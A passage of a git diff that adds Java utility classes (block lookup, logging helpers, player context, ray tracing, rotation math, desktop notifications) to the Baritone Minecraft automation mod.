IReloadableResourceManager resourceManager = new SimpleReloadableResourceManager(ResourcePackType.SERVER_DATA); + manager = new LootTableManager(predicate); + resourceManager.addReloadListener(manager); + try { + resourceManager.reloadResourcesAndThen(new ThreadPerTaskExecutor(Thread::new), new ThreadPerTaskExecutor(Thread::new), Collections.singletonList(thePack), CompletableFuture.completedFuture(Unit.INSTANCE)).get(); + } catch (Exception exception) { + throw new RuntimeException(exception); + } + } + return manager; + } + + public static LootPredicateManager getPredicateManager() { + return predicate; + } + + private static synchronized List drops(Block b) { + return drops.computeIfAbsent(b, block -> { + ResourceLocation lootTableLocation = block.getLootTable(); + if (lootTableLocation == LootTables.EMPTY) { + return Collections.emptyList(); + } else { + List items = new ArrayList<>(); + + // the other overload for generate doesnt work in forge because forge adds code that requires a non null world + getManager().getLootTableFromLocation(lootTableLocation).generate( + new LootContext.Builder(null) + .withRandom(new Random()) + .withParameter(LootParameters.field_237457_g_, Vector3d.copy(BlockPos.NULL_VECTOR)) + .withParameter(LootParameters.TOOL, ItemStack.EMPTY) + .withNullableParameter(LootParameters.BLOCK_ENTITY, null) + .withParameter(LootParameters.BLOCK_STATE, block.getDefaultState()) + .build(LootParameterSets.BLOCK), + stack -> items.add(stack.getItem()) + ); + return items; + } + }); + } +} diff --git a/src/baritone/api/utils/BlockOptionalMetaLookup.java b/src/baritone/api/utils/BlockOptionalMetaLookup.java new file mode 100644 index 00000000..120b1bc2 --- /dev/null +++ b/src/baritone/api/utils/BlockOptionalMetaLookup.java @@ -0,0 +1,97 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.utils.accessor.IItemStack; +import com.google.common.collect.ImmutableSet; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.item.ItemStack; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.stream.Stream; + +public class BlockOptionalMetaLookup { + private final ImmutableSet blockSet; + private final ImmutableSet blockStateSet; + private final ImmutableSet stackHashes; + private final BlockOptionalMeta[] boms; + + public BlockOptionalMetaLookup(BlockOptionalMeta... boms) { + this.boms = boms; + Set blocks = new HashSet<>(); + Set blockStates = new HashSet<>(); + Set stacks = new HashSet<>(); + for (BlockOptionalMeta bom : boms) { + blocks.add(bom.getBlock()); + blockStates.addAll(bom.getAllBlockStates()); + stacks.addAll(bom.stackHashes()); + } + this.blockSet = ImmutableSet.copyOf(blocks); + this.blockStateSet = ImmutableSet.copyOf(blockStates); + this.stackHashes = ImmutableSet.copyOf(stacks); + } + + public BlockOptionalMetaLookup(Block... blocks) { + this(Stream.of(blocks) + .map(BlockOptionalMeta::new) + .toArray(BlockOptionalMeta[]::new)); + + } + + public BlockOptionalMetaLookup(List blocks) { + this(blocks.stream() + .map(BlockOptionalMeta::new) + .toArray(BlockOptionalMeta[]::new)); + } + + public BlockOptionalMetaLookup(String... blocks) { + this(Stream.of(blocks) + .map(BlockOptionalMeta::new) + .toArray(BlockOptionalMeta[]::new)); + } + + public boolean has(Block block) { + return blockSet.contains(block); + } + + public boolean has(BlockState state) { + return blockStateSet.contains(state); + } + + public boolean has(ItemStack stack) { + int hash = ((IItemStack) (Object) stack).getBaritoneHash(); + hash -= stack.getDamage(); + return stackHashes.contains(hash); + } + + public List blocks() { + return Arrays.asList(boms); + } + + @Override + public String toString() { + return String.format( + "BlockOptionalMetaLookup{%s}", + Arrays.toString(boms) + ); + } +} diff --git a/src/baritone/api/utils/BlockUtils.java b/src/baritone/api/utils/BlockUtils.java new file mode 100644 index 00000000..35f626bd --- /dev/null +++ b/src/baritone/api/utils/BlockUtils.java @@ -0,0 +1,68 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import net.minecraft.block.Block; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.registry.Registry; + +import java.util.HashMap; +import java.util.Map; + +public class BlockUtils { + + private static transient Map resourceCache = new HashMap<>(); + + public static String blockToString(Block block) { + ResourceLocation loc = Registry.BLOCK.getKey(block); + String name = loc.getPath(); // normally, only write the part after the minecraft: + if (!loc.getNamespace().equals("minecraft")) { + // Baritone is running on top of forge with mods installed, perhaps? + name = loc.toString(); // include the namespace with the colon + } + return name; + } + + public static Block stringToBlockRequired(String name) { + Block block = stringToBlockNullable(name); + + if (block == null) { + throw new IllegalArgumentException(String.format("Invalid block name %s", name)); + } + + return block; + } + + public static Block stringToBlockNullable(String name) { + // do NOT just replace this with a computeWithAbsent, it isn't thread safe + Block block = resourceCache.get(name); // map is never mutated in place so this is safe + if (block != null) { + return block; + } + if (resourceCache.containsKey(name)) { + return null; // cached as null + } + block = Registry.BLOCK.getOptional(ResourceLocation.tryCreate(name.contains(":") ? name : "minecraft:" + name)).orElse(null); + Map copy = new HashMap<>(resourceCache); // read only copy is safe, wont throw concurrentmodification + copy.put(name, block); + resourceCache = copy; + return block; + } + + private BlockUtils() {} +} diff --git a/src/baritone/api/utils/BooleanBinaryOperator.java b/src/baritone/api/utils/BooleanBinaryOperator.java new file mode 100644 index 00000000..cfb85e64 --- /dev/null +++ b/src/baritone/api/utils/BooleanBinaryOperator.java @@ -0,0 +1,27 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +/** + * @author Brady + */ +@FunctionalInterface +public interface BooleanBinaryOperator { + + boolean applyAsBoolean(boolean a, boolean b); +} diff --git a/src/baritone/api/utils/BooleanBinaryOperators.java b/src/baritone/api/utils/BooleanBinaryOperators.java new file mode 100644 index 00000000..11605c96 --- /dev/null +++ b/src/baritone/api/utils/BooleanBinaryOperators.java @@ -0,0 +1,38 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +/** + * @author Brady + */ +public enum BooleanBinaryOperators implements BooleanBinaryOperator { + OR((a, b) -> a || b), + AND((a, b) -> a && b), + XOR((a, b) -> a ^ b); + + private final BooleanBinaryOperator op; + + BooleanBinaryOperators(BooleanBinaryOperator op) { + this.op = op; + } + + @Override + public boolean applyAsBoolean(boolean a, boolean b) { + return this.op.applyAsBoolean(a, b); + } +} diff --git a/src/baritone/api/utils/Helper.java b/src/baritone/api/utils/Helper.java new file mode 100644 index 00000000..95e5378e --- /dev/null +++ b/src/baritone/api/utils/Helper.java @@ -0,0 +1,230 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.BaritoneAPI; +import net.minecraft.client.Minecraft; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextComponent; +import net.minecraft.util.text.TextFormatting; + +import java.util.Arrays; +import java.util.Calendar; +import java.util.stream.Stream; + +/** + * An ease-of-access interface to provide the {@link Minecraft} game instance, + * chat and console logging mechanisms, and the Baritone chat prefix. + * + * @author Brady + * @since 8/1/2018 + */ +public interface Helper { + + /** + * Instance of {@link Helper}. Used for static-context reference. + */ + Helper HELPER = new Helper() {}; + + /** + * The main game instance returned by {@link Minecraft#getInstance()}. + * Deprecated since {@link IPlayerContext#minecraft()} should be used instead (In the majority of cases). + */ + @Deprecated + Minecraft mc = Minecraft.getInstance(); + + static ITextComponent getPrefix() { + // Inner text component + final Calendar now = Calendar.getInstance(); + final boolean xd = now.get(Calendar.MONTH) == Calendar.APRIL && now.get(Calendar.DAY_OF_MONTH) <= 3; + TextComponent baritone = new StringTextComponent(xd ? "Baritoe" : BaritoneAPI.getSettings().shortBaritonePrefix.value ? "B" : "Baritone"); + baritone.setStyle(baritone.getStyle().setFormatting(TextFormatting.LIGHT_PURPLE)); + + // Outer brackets + TextComponent prefix = new StringTextComponent(""); + prefix.setStyle(baritone.getStyle().setFormatting(TextFormatting.DARK_PURPLE)); + prefix.appendString("["); + prefix.append(baritone); + prefix.appendString("]"); + + return prefix; + } + + /** + * Send a message to display as a toast popup + * + * @param title The title to display in the popup + * @param message The message to display in the popup + */ + default void logToast(ITextComponent title, ITextComponent message) { + Minecraft.getInstance().execute(() -> BaritoneAPI.getSettings().toaster.value.accept(title, message)); + } + + /** + * Send a message to display as a toast popup + * + * @param title The title to display in the popup + * @param message The message to display in the popup + */ + default void logToast(String title, String message) { + logToast(new StringTextComponent(title), new StringTextComponent(message)); + } + + /** + * Send a message to display as a toast popup + * + * @param message The message to display in the popup + */ + default void logToast(String message) { + logToast(Helper.getPrefix(), new StringTextComponent(message)); + } + + /** + * Send a message as a desktop notification + * + * @param message The message to display in the notification + */ + default void logNotification(String message) { + logNotification(message, false); + } + + /** + * Send a message as a desktop notification + * + * @param message The message to display in the notification + * @param error Whether to log as an error + */ + default void logNotification(String message, boolean error) { + if (BaritoneAPI.getSettings().desktopNotifications.value) { + logNotificationDirect(message, error); + } + } + + /** + * Send a message as a desktop notification regardless of desktopNotifications + * (should only be used for critically important messages) + * + * @param message The message to display in the notification + */ + default void logNotificationDirect(String message) { + logNotificationDirect(message, false); + } + + /** + * Send a message as a desktop notification regardless of desktopNotifications + * (should only be used for critically important messages) + * + * @param message The message to display in the notification + * @param error Whether to log as an error + */ + default void logNotificationDirect(String message, boolean error) { + Minecraft.getInstance().execute(() -> BaritoneAPI.getSettings().notifier.value.accept(message, error)); + } + + /** + * Send a message to chat only if chatDebug is on + * + * @param message The message to display in chat + */ + default void logDebug(String message) { + if (!BaritoneAPI.getSettings().chatDebug.value) { + //System.out.println("Suppressed debug message:"); + //System.out.println(message); + return; + } + // We won't log debug chat into toasts + // Because only a madman would want that extreme spam -_- + logDirect(message, false); + } + + /** + * Send components to chat with the [Baritone] prefix + * + * @param logAsToast Whether to log as a toast notification + * @param components The components to send + */ + default void logDirect(boolean logAsToast, ITextComponent... components) { + TextComponent component = new StringTextComponent(""); + component.append(getPrefix()); + component.append(new StringTextComponent(" ")); + Arrays.asList(components).forEach(component::append); + if (logAsToast) { + logToast(getPrefix(), component); + } else { + Minecraft.getInstance().execute(() -> BaritoneAPI.getSettings().logger.value.accept(component)); + } + } + + /** + * Send components to chat with the [Baritone] prefix + * + * @param components The components to send + */ + default void logDirect(ITextComponent... components) { + logDirect(BaritoneAPI.getSettings().logAsToast.value, components); + } + + /** + * Send a message to chat regardless of chatDebug (should only be used for critically important messages, or as a + * direct response to a chat command) + * + * @param message The message to display in chat + * @param color The color to print that message in + * @param logAsToast Whether to log as a toast notification + */ + default void logDirect(String message, TextFormatting color, boolean logAsToast) { + Stream.of(message.split("\n")).forEach(line -> { + TextComponent component = new StringTextComponent(line.replace("\t", " ")); + component.setStyle(component.getStyle().setFormatting(color)); + logDirect(logAsToast, component); + }); + } + + /** + * Send a message to chat regardless of chatDebug (should only be used for critically important messages, or as a + * direct response to a chat command) + * + * @param message The message to display in chat + * @param color The color to print that message in + */ + default void logDirect(String message, TextFormatting color) { + logDirect(message, color, BaritoneAPI.getSettings().logAsToast.value); + } + + /** + * Send a message to chat regardless of chatDebug (should only be used for critically important messages, or as a + * direct response to a chat command) + * + * @param message The message to display in chat + * @param logAsToast Whether to log as a toast notification + */ + default void logDirect(String message, boolean logAsToast) { + logDirect(message, TextFormatting.GRAY, logAsToast); + } + + /** + * Send a message to chat regardless of chatDebug (should only be used for critically important messages, or as a + * direct response to a chat command) + * + * @param message The message to display in chat + */ + default void logDirect(String message) { + logDirect(message, BaritoneAPI.getSettings().logAsToast.value); + } +} diff --git a/src/baritone/api/utils/IInputOverrideHandler.java b/src/baritone/api/utils/IInputOverrideHandler.java new file mode 100644 index 00000000..3cfb7438 --- /dev/null +++ b/src/baritone/api/utils/IInputOverrideHandler.java @@ -0,0 +1,34 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.behavior.IBehavior; +import baritone.api.utils.input.Input; + +/** + * @author Brady + * @since 11/12/2018 + */ +public interface IInputOverrideHandler extends IBehavior { + + boolean isInputForcedDown(Input input); + + void setInputForceState(Input input, boolean forced); + + void clearAllKeys(); +} diff --git a/src/baritone/api/utils/IPlayerContext.java b/src/baritone/api/utils/IPlayerContext.java new file mode 100644 index 00000000..0f90f95c --- /dev/null +++ b/src/baritone/api/utils/IPlayerContext.java @@ -0,0 +1,118 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.cache.IWorldData; +import net.minecraft.block.SlabBlock; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.client.world.ClientWorld; +import net.minecraft.entity.Entity; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.RayTraceResult; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.world.World; + +import java.util.Optional; +import java.util.stream.Stream; +import java.util.stream.StreamSupport; + +/** + * @author Brady + * @since 11/12/2018 + */ +public interface IPlayerContext { + + Minecraft minecraft(); + + ClientPlayerEntity player(); + + IPlayerController playerController(); + + World world(); + + default Iterable entities() { + return ((ClientWorld) world()).getAllEntities(); + } + + default Stream entitiesStream() { + return StreamSupport.stream(entities().spliterator(), false); + } + + + IWorldData worldData(); + + RayTraceResult objectMouseOver(); + + default BetterBlockPos playerFeet() { + // TODO find a better way to deal with soul sand!!!!! + BetterBlockPos feet = new BetterBlockPos(player().getPositionVec().x, player().getPositionVec().y + 0.1251, player().getPositionVec().z); + + // sometimes when calling this from another thread or while world is null, it'll throw a NullPointerException + // that causes the game to immediately crash + // + // so of course crashing on 2b is horribly bad due to queue times and logout spot + // catch the NPE and ignore it if it does happen + // + // this does not impact performance at all since we're not null checking constantly + // if there is an exception, the only overhead is Java generating the exception object... so we can ignore it + try { + if (world().getBlockState(feet).getBlock() instanceof SlabBlock) { + return feet.up(); + } + } catch (NullPointerException ignored) {} + + return feet; + } + + default Vector3d playerFeetAsVec() { + return new Vector3d(player().getPositionVec().x, player().getPositionVec().y, player().getPositionVec().z); + } + + default Vector3d playerHead() { + return new Vector3d(player().getPositionVec().x, player().getPositionVec().y + player().getEyeHeight(), player().getPositionVec().z); + } + + BetterBlockPos viewerPos(); + + default Rotation playerRotations() { + return new Rotation(player().rotationYaw, player().rotationPitch); + } + + static double eyeHeight(boolean ifSneaking) { + return ifSneaking ? 1.27 : 1.62; + } + + /** + * Returns the block that the crosshair is currently placed over. Updated once per tick. + * + * @return The position of the highlighted block + */ + default Optional getSelectedBlock() { + RayTraceResult result = objectMouseOver(); + if (result != null && result.getType() == RayTraceResult.Type.BLOCK) { + return Optional.of(((BlockRayTraceResult) result).getPos()); + } + return Optional.empty(); + } + + default boolean isLookingAt(BlockPos pos) { + return getSelectedBlock().equals(Optional.of(pos)); + } +} diff --git a/src/baritone/api/utils/IPlayerController.java b/src/baritone/api/utils/IPlayerController.java new file mode 100644 index 00000000..58579b18 --- /dev/null +++ b/src/baritone/api/utils/IPlayerController.java @@ -0,0 +1,62 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.BaritoneAPI; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.entity.player.PlayerEntity; +import net.minecraft.inventory.container.ClickType; +import net.minecraft.item.ItemStack; +import net.minecraft.util.ActionResultType; +import net.minecraft.util.Direction; +import net.minecraft.util.Hand; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.world.GameType; +import net.minecraft.world.World; + +/** + * @author Brady + * @since 12/14/2018 + */ +public interface IPlayerController { + + void syncHeldItem(); + + boolean hasBrokenBlock(); + + boolean onPlayerDamageBlock(BlockPos pos, Direction side); + + void resetBlockRemoving(); + + ItemStack windowClick(int windowId, int slotId, int mouseButton, ClickType type, PlayerEntity player); + + GameType getGameType(); + + ActionResultType processRightClickBlock(ClientPlayerEntity player, World world, Hand hand, BlockRayTraceResult result); + + ActionResultType processRightClick(ClientPlayerEntity player, World world, Hand hand); + + boolean clickBlock(BlockPos loc, Direction face); + + void setHittingBlock(boolean hittingBlock); + + default double getBlockReachDistance() { + return this.getGameType().isCreative() ? 5.0F : BaritoneAPI.getSettings().blockReachDistance.value; + } +} diff --git a/src/baritone/api/utils/MyChunkPos.java b/src/baritone/api/utils/MyChunkPos.java new file mode 100644 index 00000000..7cda5aa3 --- /dev/null +++ b/src/baritone/api/utils/MyChunkPos.java @@ -0,0 +1,37 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import com.google.gson.annotations.SerializedName; + +/** + * Need a non obfed chunkpos that we can load using GSON + */ +public class MyChunkPos { + + @SerializedName("x") + public int x; + + @SerializedName("z") + public int z; + + @Override + public String toString() { + return x + ", " + z; + } +} diff --git a/src/baritone/api/utils/NotificationHelper.java b/src/baritone/api/utils/NotificationHelper.java new file mode 100644 index 00000000..f0ec336d --- /dev/null +++ b/src/baritone/api/utils/NotificationHelper.java @@ -0,0 +1,89 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import org.apache.commons.lang3.SystemUtils; + +import java.awt.*; +import java.io.IOException; + +/** + * This class is not called from the main game thread. + * Do not refer to any Minecraft classes, it wouldn't be thread safe. + * + * @author aUniqueUser + */ +public class NotificationHelper { + + private static TrayIcon trayIcon; + + public static void notify(String text, boolean error) { + if (SystemUtils.IS_OS_WINDOWS) { + windows(text, error); + } else if (SystemUtils.IS_OS_MAC_OSX) { + mac(text); + } else if (SystemUtils.IS_OS_LINUX) { + linux(text); + } + } + + private static void windows(String text, boolean error) { + if (SystemTray.isSupported()) { + try { + if (trayIcon == null) { + SystemTray tray = SystemTray.getSystemTray(); + Image image = Toolkit.getDefaultToolkit().createImage(""); + + trayIcon = new TrayIcon(image, "Baritone"); + trayIcon.setImageAutoSize(true); + trayIcon.setToolTip("Baritone"); + tray.add(trayIcon); + } + + trayIcon.displayMessage("Baritone", text, error ? TrayIcon.MessageType.ERROR : TrayIcon.MessageType.INFO); + } catch (Exception e) { + e.printStackTrace(); + } + } else { + System.out.println("SystemTray is not supported"); + } + } + + private static void mac(String text) { + ProcessBuilder processBuilder = new ProcessBuilder(); + processBuilder.command("osascript", "-e", "display notification \"" + text + "\" with title \"Baritone\""); + try { + processBuilder.start(); + } catch (IOException e) { + e.printStackTrace(); + } + } + + // The only way to display notifications on linux is to use the java-gnome library, + // or send notify-send to shell with a ProcessBuilder. Unfortunately the java-gnome + // library is licenced under the GPL, see (https://en.wikipedia.org/wiki/Java-gnome) + private static void linux(String text) { + ProcessBuilder processBuilder = new ProcessBuilder(); + processBuilder.command("notify-send", "-a", "Baritone", text); + try { + processBuilder.start(); + } catch (IOException e) { + e.printStackTrace(); + } + } +} diff --git a/src/baritone/api/utils/PathCalculationResult.java b/src/baritone/api/utils/PathCalculationResult.java new file mode 100644 index 00000000..a71c31a6 --- /dev/null +++ b/src/baritone/api/utils/PathCalculationResult.java @@ -0,0 +1,55 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import baritone.api.pathing.calc.IPath; + +import java.util.Objects; +import java.util.Optional; + +public class PathCalculationResult { + + private final IPath path; + private final Type type; + + public PathCalculationResult(Type type) { + this(type, null); + } + + public PathCalculationResult(Type type, IPath path) { + Objects.requireNonNull(type); + this.path = path; + this.type = type; + } + + public final Optional getPath() { + return Optional.ofNullable(this.path); + } + + public final Type getType() { + return this.type; + } + + public enum Type { + SUCCESS_TO_GOAL, + SUCCESS_SEGMENT, + FAILURE, + CANCELLATION, + EXCEPTION, + } +} diff --git a/src/baritone/api/utils/RayTraceUtils.java b/src/baritone/api/utils/RayTraceUtils.java new file mode 100644 index 00000000..82a3e521 --- /dev/null +++ b/src/baritone/api/utils/RayTraceUtils.java @@ -0,0 +1,66 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +import net.minecraft.entity.Entity; +import net.minecraft.util.math.RayTraceContext; +import net.minecraft.util.math.RayTraceResult; +import net.minecraft.util.math.vector.Vector3d; + +/** + * @author Brady + * @since 8/25/2018 + */ +public final class RayTraceUtils { + + private RayTraceUtils() {} + + /** + * Performs a block raytrace with the specified rotations. This should only be used when + * any entity collisions can be ignored, because this method will not recognize if an + * entity is in the way or not. The local player's block reach distance will be used. + * + * @param entity The entity representing the raytrace source + * @param rotation The rotation to raytrace towards + * @param blockReachDistance The block reach distance of the entity + * @return The calculated raytrace result + */ + public static RayTraceResult rayTraceTowards(Entity entity, Rotation rotation, double blockReachDistance) { + return rayTraceTowards(entity, rotation, blockReachDistance, false); + } + + public static RayTraceResult rayTraceTowards(Entity entity, Rotation rotation, double blockReachDistance, boolean wouldSneak) { + Vector3d start; + if (wouldSneak) { + start = inferSneakingEyePosition(entity); + } else { + start = entity.getEyePosition(1.0F); // do whatever is correct + } + Vector3d direction = RotationUtils.calcVector3dFromRotation(rotation); + Vector3d end = start.add( + direction.x * blockReachDistance, + direction.y * blockReachDistance, + direction.z * blockReachDistance + ); + return entity.world.rayTraceBlocks(new RayTraceContext(start, end, RayTraceContext.BlockMode.OUTLINE, RayTraceContext.FluidMode.NONE, entity)); + } + + public static Vector3d inferSneakingEyePosition(Entity entity) { + return new Vector3d(entity.getPosX(), entity.getPosY() + IPlayerContext.eyeHeight(true), entity.getPosZ()); + } +} diff --git a/src/baritone/api/utils/Rotation.java b/src/baritone/api/utils/Rotation.java new file mode 100644 index 00000000..c75a9a55 --- /dev/null +++ b/src/baritone/api/utils/Rotation.java @@ -0,0 +1,166 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils; + +/** + * @author Brady + * @since 9/25/2018 + */ +public class Rotation { + + /** + * The yaw angle of this Rotation + */ + private final float yaw; + + /** + * The pitch angle of this Rotation + */ + private final float pitch; + + public Rotation(float yaw, float pitch) { + this.yaw = yaw; + this.pitch = pitch; + if (Float.isInfinite(yaw) || Float.isNaN(yaw) || Float.isInfinite(pitch) || Float.isNaN(pitch)) { + throw new IllegalStateException(yaw + " " + pitch); + } + } + + /** + * @return The yaw of this rotation + */ + public float getYaw() { + return this.yaw; + } + + /** + * @return The pitch of this rotation + */ + public float getPitch() { + return this.pitch; + } + + /** + * Adds the yaw/pitch of the specified rotations to this + * rotation's yaw/pitch, and returns the result. + * + * @param other Another rotation + * @return The result from adding the other rotation to this rotation + */ + public Rotation add(Rotation other) { + return new Rotation( + this.yaw + other.yaw, + this.pitch + other.pitch + ); + } + + /** + * Subtracts the yaw/pitch of the specified rotations from this + * rotation's yaw/pitch, and returns the result. + * + * @param other Another rotation + * @return The result from subtracting the other rotation from this rotation + */ + public Rotation subtract(Rotation other) { + return new Rotation( + this.yaw - other.yaw, + this.pitch - other.pitch + ); + } + + /** + * @return A copy of this rotation with the pitch clamped + */ + public Rotation clamp() { + return new Rotation( + this.yaw, + clampPitch(this.pitch) + ); + } + + /** + * @return A copy of this rotation with the yaw normalized + */ + public Rotation normalize() { + return new Rotation( + normalizeYaw(this.yaw), + this.pitch + ); + } + + /** + * @return A copy of this rotation with the pitch clamped and the yaw normalized + */ + public Rotation normalizeAndClamp() { + return new Rotation( + normalizeYaw(this.yaw), + clampPitch(this.pitch) + ); + } + + public Rotation withPitch(float pitch) { + return new Rotation(this.yaw, pitch); + } + + /** + * Is really close to + * + * @param other another rotation + * @return are they really close + */ + public boolean isReallyCloseTo(Rotation other) { + return yawIsReallyClose(other) && Math.abs(this.pitch - other.pitch) < 0.01; + } + + public boolean yawIsReallyClose(Rotation other) { + float yawDiff = Math.abs(normalizeYaw(yaw) - normalizeYaw(other.yaw)); // you cant fool me + return (yawDiff < 0.01 || yawDiff > 359.99); + } + + /** + * Clamps the specified pitch value between -90 and 90. + * + * @param pitch The input pitch + * @return The clamped pitch + */ + public static float clampPitch(float pitch) { + return Math.max(-90, Math.min(90, pitch)); + } + + /** + * Normalizes the specified yaw value between -180 and 180. + * + * @param yaw The input yaw + * @return The normalized yaw + */ + public static float normalizeYaw(float yaw) { + float newYaw = yaw % 360F; + if (newYaw < -180F) { + newYaw += 360F; + } + if (newYaw > 180F) { + newYaw -= 360F; + } + return newYaw; + } + + @Override + public String toString() { + return "Yaw: " + yaw + ", Pitch: " + pitch; + } +} diff --git a/src/baritone/api/utils/RotationUtils.java 